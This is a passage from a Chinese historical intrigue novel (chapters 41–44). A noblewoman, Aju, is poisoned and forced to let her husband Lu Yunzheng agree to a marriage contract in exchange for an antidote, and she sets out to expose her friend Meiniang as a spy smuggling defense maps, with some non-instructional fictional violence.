陆昀峥则拉住她一只胳膊:“你到底在说什么?”
他转头,怒气腾腾对武三小姐道:“你给我滚出去!”
阿致惊呆了,陆昀峥很少这么情绪化。她捏住他的手:“阿峥,我知道你很难受,但是……人活着比什么都重要。”
除了生死,人生没有大事。就算失去了陆昀峥又怎样?即使撕心裂肺又怎样?她还是会活着,还是会活下来的。只要活下来,最差不过就是曾经在密县那样沉寂的生活。
陆昀峥精疲力竭的样子,他伸手扶着额头,叹一口气:“简直荒唐。”
武娅禾也惊呆了,她撅着嘴巴似乎有点儿委屈,随即对阿致道:“要商量可以,最多一柱香的功夫,过时不候。”
她这是要阿致说服陆昀峥。
阿致点头,她拉着陆昀峥去到后院的菊花池边。
入了寒冬,菊花便都凋零了。更不用说一场厚厚的雪砸下来,只看到几根枯枝零落,十分寂寥。
·
其实没什么好说的,两个人站在冰天雪地里,没有风,却是彻骨的寒。
天空澄澈,阳光落在他们的肩头,却没有任何抚慰的力量。
“你已经决定好了。”陆昀峥开口时嗓音沙哑。
阿致垂着眼睛,看那干涸的小池塘,哽咽道:“我没法眼睁睁看着希君……离开。”
此刻,她就是没办法说出那个字,那个字实在太可怕了。她抬头看着陆昀峥,眼角通红。
陆昀峥伸手,将她抱在怀里。他当然知道,生离固然痛苦,但是死别更是难以跨过的那道坎。如果阿致和女儿死了,也许他会就此坐在这道坎边醉生梦死。
冰天雪地里,两个人拥抱在一起,温暖了许多,比一个人的时候要温暖得多。
阿致伏在他肩头痛哭起来:“阿峥,我很爱你,我不想舍弃你,但是……对不起,对不起……我会一直爱你,只要知道你一直在世上活着,我就会觉得庆幸。”
因为我爱你,所以只要知道你还在世上的某个角落,我就会安心。也许会因为你身边的那个人不是我而难过,但那种难过会转瞬即逝,因为我很清楚,那不是我能控制的命运。
“我知道,我都知道。”陆昀峥紧紧抱着她的后背,低头用力吻她冰凉的额头。
据说每个人的福分都有限,吃穿用度;据说人与人之间的缘分也有限,或许每一次见面、拥抱、亲吻,都是用掉的缘分。
缘分殆尽,便是他们的命运么?
陆昀峥在战场上冲杀过无数次,冲过了那么多的血腥残酷,怎么可能甘愿认命?
陆昀峥抚摸她的后背:“我们先冷静下来,一定还有办法。”
·
“我同意这份契约。”陆昀峥坐到圆桌边上,面色平静了许多,拿出自己的印章,放在桌面上。
看着那印章,武娅禾满意地递上朱红印泥,只等他签字画押。
“不过,做交易之前要验货,武三小姐如何让本侯相信,你的解药是真的?”
“你要怎么验?”武娅禾手中的动作一顿。
“你现在拿一颗药来,我们一试便知。倘若有效,本侯立刻签了这契约。”陆昀峥一脸信誓旦旦。
“这颗药,你要给谁用?”武娅对于这个提议似乎并不意外,她的目光打量着陆昀峥并肩坐着的女人。
“我女儿。”
武娅禾微不可察地松了一口气,点头:“送药的人,马上便到。”
原来她早有准备。
阿致和陆昀峥对视一眼。
·
于大夫坐在床边的凳子上,拉出希君细细短短的胳膊,给她把脉。
希君已经吃了药半个时辰。吃药之前,于大夫仔细检查过,没有问题。可阿致还是提心吊胆,一错不错盯着希君的小脸,屏息凝神。
“确实是解药。”于大夫给希君仔细把脉后,转头对陆昀峥道,“不过小姐中毒太久,完全清理毒素至少需得三五日,还要精心调养至少半年。”
陆昀峥谢过他帮忙。
“无事,你已付了足够的报酬。”于大夫坐到房中的桌边,开始挥笔开药方,准备给希君做调养。
阿致没空去理陆昀峥付出了什么样的报酬,一听说女儿无事她便松口气,坐到床边,微笑看着平躺的希君,摸着她额角的碎发,怎么都看不够。
失而复得总是最珍贵。
“我家小姐让你们过去。”外头站着一个瘦丫头,怯生生地催促着。方才也是她将解药送过来。
在前厅等着的武娅禾早就不耐烦了,轻轻踢着桌边的圆凳,看到陆昀峥来了,她脸上的烦忧烟消云散:“怎样,我没有骗你,这解药是有用的吧。”
陆昀峥作揖谢过她。
“废话就不必说了,我不是来做慈善的,你给我把契约签了。”武娅禾伸手拍桌子,桌上的契约被拍得飞起来。
“签字可以,契约中还需要加一条。”陆昀峥看着她。
“你想反悔?”武娅禾讥讽地看着他。
“在最后加入一条,两方成婚之前,验明第二颗解药,如若解药无效,此契约无效。”陆昀峥能预估到最坏的情况,是对方不守承诺,他必须早做准备。
“成婚前验明解药可以,但是必须在拜天地入洞房后给解药。”武娅禾眼神锐利地盯着他,“十日之后成婚。”
“太快,至少十五日之后。”陆昀峥还考虑到拖延时间,或许可以寻找其他的解决方案。
“十日。”武娅禾一脸冷漠,撕掉手中的契
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约。
陆昀峥看着阿致。
阿致轻轻点头,他们根本没有选择的余地。
·
陆昀峥逐字检查眼前更改过的契约,尤其是新加入的条款。一式两份,都没有问题。契约右下角有武娅禾的印章和手印,只等陆昀峥启动它。
陆昀峥拿出印章,盖章,再拇指按上红泥,在纸上按上手印。
武娅禾拿到契约,心满意足地检查过后,递给身后的小丫鬟,让她收好,又转头对着陆昀峥道:“契约已成,这位小娘子请即刻离开。”
看着脸色苍白的阿致,陆昀峥眉头皱起:“你已经得偿所愿,何必得寸进尺?”
“得寸进尺的是你们吧。你既已是我的未婚夫,那这府邸只有我能出入,其他女子概不能出入。”
陆昀峥站起身来,要与她争论,阿致伸手拉住他,她慢慢站起来,微笑着说:“三小姐的考量十分有理,我行李已经收拾妥当,现在便走。”
·
已是中午,太阳高悬,云层太厚,阳光晒在人脸上,只有微微的暖意。
院子后门口,阿致重新拿着包袱,陆昀峥给她牵着马,一片沉默。
后院门口,武娅禾靠墙斜斜站着,两眼盯着他们。
陆昀峥开口的声音嘶哑:“让邬春荣去照顾你。”
“不用,让他好好照顾希君,我才能放心。”阿致劝他,“你回去吧,我会好好照顾自己。”
她放开他的手。
陆昀峥捏住她的手指,小声道:“你回到面馆里,要小心来往的人,尤其是美娘,前几日她或许给你再次下毒过。”
自从于大夫查出阿致被人再次下毒,陆昀峥便让罗三与保护阿致的暗卫仔细盘查,最终盘查出美娘这个唯一接近过阿致的小角色,神不知鬼不觉的。往深一步想,或许美娘一开始结识阿致,便是步步为营的算计。
阿致一脸震惊看着他。
陆昀峥摩挲她的掌心:“你太善良,总是想帮助别人,又太单纯,对别人不设防,但别人不一定会心存感激。”
武娅禾伸手握拳,在后门上“哐哐”大力敲着。她可没有那么多耐心。
阿致微笑看着他,轻轻摩挲他的大拇指指背后,放开:“你也要照顾好自己。”
从此,他们不过就是回归到密县那样的陌生人,而已。
·
骑马回到面馆,一路上阿致都在想陆昀峥说的话。
近几日,有人再次对她下毒……
陆昀峥说话做事,从来都是事出有因。阿致越想越心惊,她来到保宁,确实只与美娘一个人过往甚密,对她好不设防,只是想着尽己所能地帮忙。
站在面馆前头,阿致拿出钥匙来打开铜锁,伸手推大门时,只感觉分外沉重,她使出全身的力气,才推开一条缝。
阿致面对那两扇棕黄色的大门,看着上头纤细的影子,没来由的沮丧。
正巧隔壁的药童经过,他帮着开门,并将马牵到后头去,阿致才得空躺床上去休息会,肚子饿得不行才起床。
一眨眼,快到傍晚,她站在院子里,看着阴冷的天空,披上外衣出去觅食。
在街道拐角的酒楼,她上到二楼凭栏独坐,点了两个小菜一壶热酒,自斟自饮好不痛快。
她终于暖和了些。
想到这两日的事,阿致顿觉荒唐,她微笑地看着酒楼外的夜空里飞舞起雪花来。
阿致伸手,放在栏杆外,去接那些跳动的雪点,然后看到了佝偻着腰的美娘,她喘着粗气,十分难受地扶着墙,在不远处看着街道上来来往往的人,眼神空洞。
二楼的人渐渐多了,也有人看到了美娘,说着今日听到的八卦。原来美娘要丈夫江善守与她离开保宁,去别的地方生活,江善守不同意,连同家里族老,将美娘好一顿骂,最终将她赶出了家门。美娘本来是不同意的,但是族老说着要将她那个哑巴女儿一并赶出去,美娘才不得不答应离开。这冰天雪地的,又是夜晚,可怜的哦。
42. 第 42 章
在一片唏嘘声中,阿致收回了手和目光,她叫了一壶酒,继续慢慢喝。
她自己的事情都没有解决,哪有功夫管别人的事?
今日下午,无力地躺在面馆的小床上时,阿致闭着眼睛,一直在想一个问题:她是否可以接受别人抢走自己的丈夫?
可以吗?
坦诚地说,不可以,不能忍受。
眼看着陆昀峥与另一个女人成婚,从来不是她想要看到的结果。
可是……此刻是她和希君陷入了困境。
对方拿出两颗解药来做交易,她心甘情愿点头答应了的。如果她想办法破坏契约,也不是做不到,但是这样背信弃义的行为,是她所不齿的。
她要做背信弃义的人吗?
好像也做不到。
从来,她都努力做一个不惹事的好人,就像陆昀峥说她“善良”、“单纯”,那些话是对她的肯定,但也是束缚。
世俗之中,好人是不能去争取、抗争的,不能惩罚坏人,也不能有攻击性,只能微笑着等待老天的幸运施舍,祈祷事情自己变好,期待因果报应。但凡有一点点不对,比如情绪失控一次就会被看作疯子、坏人。所以做好人,如履薄冰,代价相当之大。
听着可真是窝囊……
阿致又倒满一杯酒,一口喝下去,喉咙火辣辣的,看着空空如也的酒杯。
所以,她是要成为一个被抢走丈夫的好人,还是做一个把幸福牢牢拽在手中的坏人?
又一壶酒下肚,阿致闭上眼睛,她浑身燥热,竭力压制的愤怒即将要冲破而出。
就在这时,隔壁桌上几个大肚男人哈哈笑着讲了个八卦,是个关于好人有好报的八卦:
一个商人下大雨时过桥落水了,湍流之中抱着一团枯草,请求岸边的一个五旬老头帮忙救命。老头说救你可以,但是你得把你的女儿许配一个与我。商人快没命了,连忙答应这老光棍,上岸之后按照承诺将自己的大女儿许给老头,即使两人相差三十岁。大女儿不愿意,与下人夜奔出逃被抓回来,老头却不愿意了,他要求商人最小最好看的女儿,那小女儿才二八年华,甚是好看。商人当然心疼可惜这最爱的小女儿,但是因为他为人正直重承诺,于是将小女儿送上了花轿。
有人说:“这商人真是重承诺,难怪他生意兴隆。昨日我随朋友去喝喜酒,他家是真气派。”
“这小女儿也理解她爹的用心良苦,说起来算是一桩美事。”几个大肚男人喝喝笑笑,满脸通红,脸上的心思很明显,都恨自己不是那个捡了便宜的老头。
“狗屁,用自己女儿一生换自己的好名声,”阿致冷哼一声,“算什么好人?有本事他自己嫁给老光棍!”
这些人是真的不知道这其中的残酷么?
他们当然知道,毕竟道理如此浅显易懂。他们只是永远身上干净,永远不是受害者,就像那个出卖女儿换命换名声的商人一样,而这些揣着明白装糊涂的男人们互相包庇美化。
“你有本事再说一遍?”有个大肚男人胡子拉碴就像鸟窝,他回头看到阿致,怒火中烧,撸着袖子站起来,捏着拳头似乎要打人。
阿致也站起来,眼神冷淡,眼角余光正好看到楼下的美娘。
美娘被酒楼的小二推出去,她站在酒楼门口,抱住自己,不停摩挲肩膀和胳膊,仍旧冻得不行,咳嗽加重,只得再次走入雪夜中的小巷子,寻找可以过夜的地方。
阿致眼神再次回到那一群男人身上,他们已经平息了怒火。其中有个人发现阿致腰间佩戴的黄玉可不是普通之物,拦着那发火的同伴。
另有小二察觉不对,立刻赶来,格挡在中间,问阿致:“这位夫人还有什么需要的?”
阿致将一锭银子放在酒桌上,飘飘然离开。她已经想通了,她不要做忠心愚孝、全盘接受的小女儿,但是她也不要做那个慌张出逃的大女儿。她要抗争,要破局。
同时,她想到了破局之法。
阿致下楼时,那个被迫平息怒火的男人盯着她,一脸轻蔑。
她也轻蔑地看回去。
对方愣了一下,收起锐利的眼神,侧回头与同桌喝酒。
·
阿致慢慢走回去,在雪夜里,这么多年来,她第一次感觉到孤单,她身边甚至没有希君,家里也没有人等她。
快到家时,她转身对着远处的黑影道:“鬼鬼祟祟的,不如站出来。”
那个魁梧的人影站出来,撸起两只袖子:“你以为自己很有种?今天就让你知道不该惹到大爷。”
阿致从袖子里掏出一把刀来,十分从容,等待他慢慢走过来:“你想对我做什么?”
“你觉得呢?”对方痞笑。
阿致握紧刀柄,准备动手。
一个暗影划破夜空,一脚将那魁梧人影踢翻在地,摁在地上不得动弹,转身对阿致作揖:“夫人。”
是个年轻女子,一身夜行衣,还蒙着面,她是陆昀峥安排的暗卫。
阿致轻轻点头,随即看着地上那人,懒懒微笑着道:“你以为自己很有种?出手之前,好歹先弄清楚对手是谁。”
那人躺在雪地里浑身发冷,一点力使不出来,连连求饶:“是我有眼不识泰山,求夫人大量,放了我这一回。”
“夫人?”暗卫看着阿致,等待吩咐。
“两只胳膊、两条腿,打断。”
那男人疯狂打滚,求饶,被暗卫死死摁着无法动弹。
阿致手中的刀锋摁在他脸上:“下不为例。”
阿致走了没多远,“啊——啊——”惨叫声响彻整个空旷的街道,一盏盏灯火亮起来,就像黑暗中的眼睛。
阿致走在回去面馆的路上,只觉得雪地里的风越加轻盈,雪片重新飞舞下来,分外美丽。
·
回到家中,已是夜深,阿致站在积雪的院子里:“出来吧。”
方才那女子暗卫从屋顶黑暗的地方出来,弯腰作揖:“夫人。”
“名字。”
“高瑾。”
“从现在开始,你可以睡在前厅,对外是我刚买回来的丫鬟。”
高瑾迟疑了下,抬头看对面的女子:“是。”
“另外,明日你去帮我查两件事。一是有个叫妙珍姐的房牙,帮我查她
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的来历,越详细越好;二是城南的武家,帮我查清楚他家做什么生意,家中最近有什么变故,还有那武三小姐是怎样的人。这些都要尽快与我汇报。”阿致捂住嘴,轻咳两声。
她没有那么多时间可以拖延,十天,至多十天。
高瑾低头:“属下……奴婢知道了。不过,此事若侯爷问起,该当如何?”
阿致捏紧手中的帕子,望着黑色的天空,雪渐渐大了:“暂时不用瞒着他。”
高瑾还震惊着,阿致又吩咐道:“你去箱子里拿我一套衣裳,随我去个地方。”
·
夜深了,四下里一片寂静,横店集市最后一盏灯熄灭了。黑色的宽广街道上,白色雪片横飞,在两个油纸伞上盖了厚厚一层。
高瑾撑伞,跟在阿致身后,在雪地里走了许久,在一个木棚屋的拐角处看到了瑟缩成一团的瘦弱女子。
阿致站在远处。
那瘦弱女子冻得浑身僵硬,慢慢抬起头,透过厚厚的翻飞雪片,望着撑伞的瘦弱女子:“致娘?”
阿致缓缓走过去,将伞撑在她头上,满脸错愕:“美娘,你怎的在这里?”
美娘望着阿致,冰冷的脸上滚过热泪。
·
温暖的室内,阿致拿出自己的一套厚袄子给美娘换上,微笑道:“真不错。”
美娘低头看着身上那绸缎鲜亮的颜色,咬着嘴唇,手指轻轻摩挲那衣角,软和又舒服。
高瑾从外头倒了两碗生姜水来。
美娘瑟瑟接过一碗。
“美娘不必拘束。此前你帮过我,今日算是我帮你。”阿致端起碗,喝了一口生姜水,整个人暖和了许多。
美娘埋着头在大碗里,这生姜水里放了红糖,真甜。
阿致打发高瑾去喝一碗生姜水,并去前头铺床睡觉。
高瑾有些迟疑,眼光轻轻在美娘身上扫过。
阿致笑道:“我与美娘也要睡下了,有事便叫你。”
如此安排一翻,阿致吹了灯,才与美娘盖着同一床被子睡下了。
美娘睡在暖烘烘的被子里,感叹道:“致娘,我前些日才知道你夫君是侯爷那样的人物,可你待个丫鬟如此和善。”
黑夜之中,阿致仍旧闭着眼,许久才道:“他不是我夫君。”
“啊?”美娘张嘴侧头看阿致。
昨日,在大院子里,致娘明明是一派侯爷正房的架势。
阿致仍旧平躺着,一脸平静地闭着眼:“很快,他要与别人成婚了。”
想起昨日在院子里那个气势汹汹的红衣女子,美娘便明白了,她在被子里伸手,轻轻握住阿致紧握的拳头:“致娘,你别太伤心,男人总是这样的,三心二意,见异思迁。”
阿致轻轻抽了下鼻子,将自己的手从美娘手中挣开。
美娘有些忐忑:“我没有别的意思……实话和你说吧,我家里那些事才是不好意思说出去。”
美娘这些天也是真受了委屈,可惜一直没人诉说,这时便一股脑儿说出来。
原来前日晚上,她家里发生了一件没人知道的大事,或者说丑事。
43. 第 43 章
房间里黑漆漆的,美娘睁眼看着顶上的幔帐,有气无力地道:“前晚上,有个酒楼的茶女,她找上家里去,让我不要再吸血虫一样给江郎添麻烦,让我把丈夫让给她。”
阿致想起来,陆昀峥之前曾提到过,江善守与酒楼的茶女有首尾。现在看来,都是真的。
阿致睁开眼,十分震惊的模样:“那你怎么办?”
美娘苦笑了下,继续道:“她骂我死皮赖脸,我羞愤至极,可是……想了想,我没什么可回击的,因为她说的都是事实。江郎那么好的男人,如果不是因为我,他不会日日都如此疲累,也……不会去找其他女人。”
“累是累,这不是他找其他女人的借口啊。”阿致放柔了声音。
“男人找其他女人这不是很寻常么?”美娘抿着嘴唇,尽量不要哭出来,她侧开头,不要对着致娘,“我曾经以为自己的丈夫与别人的不同,以为我们能面对一切困难恩爱到白头……只是没想到他和别人没什么不一样,我和其他女子也没什么不同。”
阿致从被窝里坐起来,她安慰道:“男人做的坏事,与你无关。那你丈夫江郎怎么说?当时他在场吗?”
美娘抹了一把泪,她也撑着上半身坐起来,靠在枕头上:“在,他当时将那茶女好言劝出去,又对着我跪下求原谅,说自己不过是一时鬼迷心窍,但也只那一次,后来没有过了。他还愿意跟我好生过日子。”
“你还想和他过日子?”阿致看着她的脸色。
美娘嘴巴抿紧,一颗眼泪划过眼角,她又抹掉,眼神虚空地看着满室漆黑,许久后道:“我觉得自己被背叛,心刺痛得快要晕过去,根本不想原谅他,可是他跪下求原谅时,我看到他肩膀的那两块补丁,还有脚后跟磨掉的寒碜模样,又觉得自己根本就没有资格去怨恨他,毕竟是我身体不争气,总是生病用钱……他这都是被我逼的啊。”
阿致伸手盖在美娘的冰凉手背上:“没事,你现在知道自己的病情,只要离开保宁,换个地方,或许就会好起来,可以自食其力。”
美娘慌张找帕子擦眼泪鼻涕:“昨日晚上回去时,我想过了,还是想要与江郎生活的。也许他说的是真的,只此一次,绝不再犯。我便提议离开保宁,但是江郎不肯,离开这里就得把祖辈传下来的祖宅卖了。这事原本还没商议好,不知怎的被族老们知道了,今日刚吃过午饭,几个族老过来,便将我训斥一顿,说我是扫把星,害得江郎一贫如洗,如今还要他离开祖宗去外地。结果,我就被赶出来……若不是致娘你,我真不知道今晚该怎么办,冻死都是可能的。”
阿致低头看着两人轻轻握着的手,温柔道:“不过是举手之劳,你我都是女子,互相帮助是应该的。只是可惜了,之前答应雇你来帮工的事,或许不成了。”
“致娘,怎的了?”美娘侧头去看阿致的眼睛。
阿致叹了一口气:“我中了毒。”
美娘的手指僵住,惊愕地问:“中了什么毒?”
“只知道是苗疆的毒。”
“那你这毒怎么解?”
“武三小姐倒是说有解药,不过要在与陆郎成婚后才会给我。”阿致忧心忡忡地道,“那武三小姐巴不得我死,或许不会信守诺言。”
美娘迟疑了一会,慢慢说:“那怎么办呢?”
“陆郎有寻访到一个苗疆的女医,十日脚程可到。我正头疼,要不要赌一把,去找那女医。”阿致不动声色地关注美娘。
美娘看着被子上的褶皱发呆,过了许久才道:“哦哦,有其他方法总要试试看。”
两人不再多话,就这么睡了一晚上,第二日早上起床时,阿致正在穿外面的袄裙,美娘怯怯问一句:“若是致娘你出去保宁城,能带上我和楚楚吗?”
阿致转身,疑惑地看着她。
美娘捏着裙子上的腰带,解释道:“若是江郎不答应,我便与女儿一起离开。只要我身体好了,养活女儿应该不是难事。”
·
快到中午时,阿致端着一碗热气腾腾的汤药,抿了一小口,苦,还烫嘴。她便放在那个鸡翅木的小桌上:“希君还好吧?”
这碗汤药是邬春荣送来的,他苦笑:“小姐身体好了许多,只是昨晚上发现夫人您不在,闹着要找您,闹到了深夜才睡。今早起来,嗓子哑了。”
阿致点点头:“麻烦你多花点心思照顾。”
“哪里哪里。”
“你还不走?”阿致看他还杵在这里。
邬春荣尴尬地笑了笑:“侯爷特地吩咐,一定要看着您喝完药。”
“放心吧,我不会为难自己的命。”
邬春荣还是杵在原地,脸上挂着尴尬的笑。
阿致抿了抿嘴唇,摸一把那碗背,温热,于是端起来一口喝完,将空空如也的药碗亮给他看。
邬春荣喜笑颜开,递给她一颗蜜饯。
阿致伸手拒绝:“让你们侯爷晚上来我这里一趟。”
她有事情要找陆昀峥商量。
·
晚上,雪早就停了,风也没有,外头十分安静。
高瑾外出去办事,面馆大门关上,家里便空荡荡的,阿致燃一根烛火,坐在房中的鸡翅木小桌边上,桌上是一叠纸和笔墨。
她盯着那白纸,许久都没有动,偶尔捂着嘴唇咳嗽。
精力不济,她有些困。
接着有人扣后门,扣三下,第二三声之间有停顿。
阿致打开门,果然是陆昀峥,他牵着马,披着一件姜黄色的毛裘。
进到屋里,阿致给他倒一杯热水。
陆昀峥喝下去,浑身暖了不少:“你要查的事,我听高瑾说了。你现在身子不好,就不要管了。”
阿致坐在桌边,看着那一叠白纸:“不管的话,认命么?”
她不想认命。
陆昀峥坐在她身边,捏住她瘦弱的手指:“我来想办法,你不要担心,我不会和她成婚的。”
“可是你现在要应对楼烦,每日军营里
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大大小小的事就够你烦了,怎还有精力去查这些细枝末节的事?”阿致劝他,“更何况,现在军营里的事才是最重要的,你不能分心。”
陆昀峥沉默。
阿致又道:“我也不能总是指望你帮我解决所有的麻烦,自己躺着拿好处。”
陆昀峥略一思忖:“我可以帮你做什么?”
“我至少还需要两个人。目前高瑾一个人查,有些吃力,花费时间太多。”
“好,我回去便让罗三安排。”
“我还需要你的思路。”阿致看着陆昀峥,她的目光坚定。
“先说说你的想法。我听高瑾说你要查两件事,一件事是武三小姐的背景,还有一件是查房牙。”
阿致点头:“首先,查武三小姐是为了知己知彼,我得先弄清楚她逼婚的动机是什么。她说看中你的人品,这算是一个理由,但并不充分,她没有完全说实话,不然也不会那么着急成婚。她没有说出来的理由才是最重要的。其次——
“我查房牙,有个很重要的原因,是美娘。如你所说,美娘和贺忠都曾经对我下毒,武三小姐莫名刚好有解药,这世界上哪有这么巧的事呢?所以我认为这三人都与下毒的事相关。而你曾经说过,贺忠与楼烦细作往来,用毒杀我来威胁获取布防图。不妨大胆猜想,或许美娘、武三小姐也与楼烦细作、布防图有关。而美娘是我在保宁唯一接近的人,她能接近我下毒,也是因为那个房牙给了她可趁之机。回过头来想,我认为她们可能是串通的。”
当初,房牙妙珍姐给她介绍凶宅,刚好是美娘主动告诉阿致真相,赢取了阿致的好感,让阿致不设防被下毒。
陆昀峥赞赏地点头,方才他还有些不放心,现在听她头头是道地说完,便道:“昨日军营里查出有副官倒卖布防图出去,线索查到城南的武府便断了,没有证据,很难弄清楚布防图流失到谁手上,或许已经落在细作手中,但应该还没有被带出城。昨日保宁全城便禁止出入。”
阿致满脸惊喜:“看来我猜得不错。昨日我听几个喝酒的商人抱怨他们出城被拦住,我心想,或许是出了什么事,才会关城门戒严。我昨晚上试探美娘要不要出城,她答应了,她想要出城……阿峥,我打算带美娘出城。”
“你现在这个身子,支撑不住。”
阿致坚持道:“这不是什么问题,尽快找出解决办法才是最重要的。现在武三小姐急着要成婚,那就说明她一定是有什么需要紧急处理的麻烦。我们要赶在十天之内找到解决办法,再不济也要找到你说的布防图。”
这个时候,高瑾突然回来,她回禀道:“侯爷,夫人,属下刚去查过,那个妙珍姐已经死了。”
“死了?”阿致惊呆。
“什么时候死的?”陆昀峥问。
“半个月之前。”
阿致仔细想了想:“那便是我订下这面馆没多久。她怎么死的?”
“下毒死的。”高瑾道,“听说她死时脸嘴都是青色的。”
44. 第 44 章
妙珍姐死了,线索就这么断了么?
“还查到了什么?”阿致问。
“属下查过妙珍姐和美娘这两人,她们都来历不明,于七年前来到保宁城里。”
看来美娘与妙珍姐是有关系的,只是不知为何妙珍姐突然死了。
陆昀峥将高瑾遣退,又道:“忘了说一件事,罗三已经查出,武娅禾在说谎,她年幼时未中过毒,反而是因为从小身体虚,便待在内宅中请女先生教书,没有出去过。”
阿致这才反应过来,武娅禾就是武三小姐。
“如果是你,你会怎么办?”阿致问他。
陆昀峥摸着下巴:“下毒、细作所围绕的核心只有一个,布防图。布防图已经流失出去,细作必须要想办法运出城去。现在全程戒严……按照你说的办,带着美娘出去。不过,出城之后,你如何确定她身上的布防图?”
阿致胸有成竹:“这个我已经有了计较,你去帮我寻一张城外的地形图即可。”
“你什么时候出城?”
阿致抿着嘴唇顿了下,眸子里映着澄澈的烛火:“稳妥一点,最好是两日之后。”
陆昀峥什么都没问,他相信她:“还需要什么?”
“我出城之后,需要有至少四个暗卫紧随其后。一来找到布防图,我可以作为证据交给他们,让他们带给你;二来也可以保证我的安全。”
陆昀峥侧身与她相抱:“再过半月,便要开战,我的事越来越多——”
“我知道。”阿致也抱着他,“你安心做好自己的事,这一仗必须要打赢。我的事,我自己能处理。”
“我知道你能处理……需要什么,只管去找邬春荣。”这一次,他们都面临大关。
·
密林之中,稀疏的月光透过光秃秃的树桠照射在破庙的后墙上。墙边站着两个身披黑袍的女子,她们都黑巾蒙面,只露出一双眼仔外面。
两个人都高瘦,但靠近墙角的那一个佝偻着腰,似乎身体不好。
“你要终生脱离主教?”直着腰板的黑衣女子声音尖锐,她捏紧了手中的弯刀。
“是,如果我能将图运出去,请主教放我和女儿远走。”那佝偻着腰的女子胳膊上挽着一个竹篓子,扶着墙说话。
“好,我会跟主教禀报。现在,说说你的计划。”
佝偻着腰的女子实在喘不过气来,扯下黑色面巾,露出那张苍白的脸:“陆昀峥的夫人中毒了,这两日她会出城求药,我跟着她一道出去,顺便将图带出去。”
“陆昀峥的夫人?”
“是的,陆昀峥格外宠爱她这个夫人。即使现在全城戒严不让出入,他这个夫人说什么,他都会破例。”
“这时机未免太巧了。”捏着弯刀的女子质疑道,“据我所知,陆昀峥的夫人只需要等十天,便可以得到解药。”
“你说的是陆昀峥与武三小姐的婚事。”美娘眼神坚定,没有丝毫的柔弱,“我昨日已亲近那夫人身边,得知她并不相信武三小姐会如约给解药,才要出城寻医。齐护法,你认为武三小姐会履行承诺么?”
齐护法握着弯刀的手松了松,沉默着没有回应。那个武三小姐却是是个心狠手辣的主儿,断然不会允许丈夫宠爱的女子活在世上给自己添堵。
美娘继续道:“而且,近期陆昀峥都不会开放城门,混出去很难。不如利用好只此一次的机会。”
齐护法勉强道:“在此之前,你要先确定好,这位夫人是否真的能出城。”
“好,也请护法不要忘了帮我与主教禀报,给我自由。”美娘惴惴地叮嘱道。
“喳”,旁边传来有人脚踩在树叶上的声音。
美娘与齐护法对视一眼,两人立刻飞身过去墙转角,抓住妄图逃跑的小乞丐。
小乞丐瘦得只剩下皮包骨,七八岁年纪,跪在地上连连求饶。
齐护法看着美娘,眼神锐利。
美娘喘着粗气,扔掉手中的竹篓,从袖子里抽出一根长针来。她一手抓着小乞丐鸡窝一样的头发,一手持针插进那小乞丐的脖颈里,速度太快,连针的影子都看不到。
那小男孩立刻不再动弹,翻了个白眼便成了软泥一滩。
美娘拔出针来,伤口很小,流出来的血更少,她从竹篓子里掏出一张全新的白帕子,擦掉那一粒米大小的血迹,将带血的帕子放在袖子里,一只手捡起竹篓,一只手撑着膝盖站起来大喘气。
齐护法笑着道:“我敢保证,主教知道你要脱离,定然后悔。”
·
黑夜之中,美娘回到四壁空空的家中,女儿楚楚躺在床上,但睁着眼睛没睡,听到门口的动静,一早坐起来了。
看到是美娘,七八岁的她,小大人一般终于松口气,对美娘比了个手势:“娘,你昨日去哪里了?”
“娘去你致姨家里了。”美娘见她身上单薄,便将她摁到床上,伸手给她盖上被子,“她……收留了娘。”
说着,美娘看着这陈年的湿被子发呆,不知道在想什么。
楚楚打个手势:“致娘和希君都是很好的人。”
美娘艰难地点点头。是啊,很好的人。昨晚她在雪地里逡巡了一个时辰,路过了多少人,她甚至去酒馆里求别人收留她一晚上,她可以帮忙干活,也被无情拒绝了。蜷缩在墙角时,无处可归时,意识到丈夫江郎不会来寻自己,更不会管自己死活时,她有想过,或许一死了之,也不差。
至少不必被迫做一些自己不喜欢的事。她又想起了那个小乞丐,死在了密林之中,冷冷的月光铺在他身上。他沦落至此,是什么原因呢?他爹妈呢?是因为没有爹妈吧。
美娘伸手摸着楚楚的脸蛋。
楚楚的鼻子嗅了嗅,从美娘的袖口抽出一张白帕子来,摊在手中。
月光从窗外照进来,正好照在那白帕子上,帕子中间那一粒朱砂红的印记十分扎眼。
楚楚看着那红点,嘴巴微张。
美娘这才反应过来,慌张地夺过了白帕子,将它重新塞回了袖子里,转身道:“娘去洗漱。”
楚楚躺在床上,看着窗外冷冷的白月光,眼睛里满是沮丧。
·
第二日,天清气朗,阳光很好。
阿致躺在床上病恹恹的,时不时咳嗽一阵,她握着美娘的手:“我派丫鬟去问过了,侯爷倒是在愿意让我出城。不过,我这身子不争气,还得明日才能成行,美娘你……不急吧。”
今早上高瑾来报,派去跟踪美娘的人都被甩开了,很明显,美娘不是个简单人物。
阿致更加确信,她的想法没错,跟着美娘绝对能抓住大鱼。
美娘捏着阿致冰冷的手掌,宽慰她不必担心:“自然身体是最要紧的。正好我也得回家与楚楚准备。”
离开面馆后,美娘先去医馆取药。前几日,致娘给她介绍的那个于大夫开了个方子,熬制的药汤确实有效,松快了许多,她便让医馆的人做成药丸,方便随时服用。
取了药丸后,美娘看着那小颗粒的药丸皱眉。
回到家里时,正好碰上江善守。江善守低着头没说话,扛着铁锹出去上工;美娘站在院子门口,昂着头,沉默站了许久,提着那一小包药去到厨房里,又叫来楚楚帮忙,将许多小药丸沾一点水,捏到一起,搓成圆形的。如此反复,搓了许多个来。
美娘又点燃灶台,小火将药丸慢慢烘干。
楚楚打个手势:“这是什么药?”
美娘笑了:“
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报恩的。”
楚楚脸上有了光彩,她伸手抱住美娘的脖颈。寒冬腊月的,母女俩依偎在灶膛前,火光照在她们身上,真是暖和。
美娘说:“楚楚,我们要自由了,娘会带着你过好生活。”
·
当晚,又是那个密林,美娘一身黑袍遮得严严实实,她去的时候,齐护法站在那个死去小男孩的身边:“怎的这样磨蹭?”
齐护法早等得不耐烦。
美娘扭开脸,她不敢看那小男孩的脸,她从怀中掏出一个小木盒子,递给齐护法:“路上耽搁了些时间。”
美娘摒着呼吸,仔细观察齐护法。
齐护法打开那木盒,对着月光看了一眼,又闻了闻,皱眉:“这味道似乎与上次的不同。”
美娘捏紧黑袍,惊慌失措:“不可能,我一直藏在地里,今日刚取来。”
齐护法仔细看了看她的脸,收起木盒:“或许是在地里放久了吧。”
美娘又道:“明日一早便要出城,今晚能拿来剩下半张图么?”
